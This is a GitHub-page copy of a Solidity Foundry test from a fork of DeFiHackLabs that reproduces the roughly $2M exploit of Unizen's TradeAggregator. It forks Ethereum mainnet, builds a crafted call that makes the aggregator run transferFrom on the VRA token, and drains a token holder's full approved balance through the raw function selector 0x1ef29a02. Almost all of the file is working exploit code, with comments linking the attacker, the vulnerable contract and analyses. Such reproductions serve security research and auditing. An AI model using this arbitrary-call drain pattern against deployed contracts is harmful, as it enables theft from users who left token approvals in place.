forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
UnizenIO2_exp.sol
105 lines (90 loc) · 3.38 KB
/
UnizenIO2_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~$2M
// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df
// Vuln Contract : https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac
// One of the attack txs : https://phalcon.blocksec.com/explorer/tx/eth/0xdd0636e2598f4d7b74f364fedb38f334365fd956747a04a6dd597444af0bc1c0
// @Analysis
// https://twitter.com/Phalcon_xyz/status/1766274000534004187
// https://twitter.com/AnciliaInc/status/1766261463025684707
interface ITradeAggregator {
// I've written following structs based on regular swap txs to TradeAggregator
struct Info {
address to;
uint256 structMember2; // not sure what this struct member represents
address token;
uint256 structMember3;
uint256 structMember4;
uint256 structMember5;
string uuid;
uint256 apiId;
uint256 userPSFee;
}
struct Call {
address target;
uint256 amount;
bytes data;
}
}
contract ContractTest is Test {
ITradeAggregator private constant TradeAggregator =
ITradeAggregator(0xd3f64BAa732061F8B3626ee44bab354f854877AC);
IERC20 private constant VRA =
IERC20(0xF411903cbC70a74d22900a5DE66A2dda66507255);
address private constant tokenHolder =
0x12fe4bC7D0B969055F763C5587F2ED0cA1b334f3;
function setUp() public {
vm.createSelectFork("mainnet", 19393360);
vm.label(address(TradeAggregator), "TradeAggregator");
vm.label(address(VRA), "VRA");
vm.label(address(tokenHolder), "tokenHolder");
}
function testExploit() public {
emit log_named_decimal_uint(
"Exploiter VRA balance before attack",
VRA.balanceOf(address(this)),
VRA.decimals()
);
ITradeAggregator.Info memory info = ITradeAggregator.Info({
to: address(this),
structMember2: 0,
token: address(VRA),
structMember3: 1,
structMember4: 0,
structMember5: 186_783_104_413_296_096,
uuid: "UNIZEN-CLI",
apiId: 17,
userPSFee: 1_875
});
bytes memory callData = abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
tokenHolder,
address(TradeAggregator),
// 41_611_328_550_535_574_847_488 - amount was transfered from the token holder to TradeAggregator in attack tx.
// Allowance is set to max so transfer everything.
VRA.balanceOf(tokenHolder)
);
ITradeAggregator.Call memory call = ITradeAggregator.Call({
target: address(VRA),
amount: 0,
data: callData
});
ITradeAggregator.Call[] memory calls = new ITradeAggregator.Call[](1);
calls[0] = call;
bytes memory data = abi.encodeWithSelector(
bytes4(0x1ef29a02),
info,
calls
);
// Call to flawed function
(bool success, ) = address(TradeAggregator).call{value: 1 wei}(data);
require(success, "Call to TradeAggregator not successful");
emit log_named_decimal_uint(
"Exploiter VRA balance after attack",
VRA.balanceOf(address(this)),
VRA.decimals()
);
}
}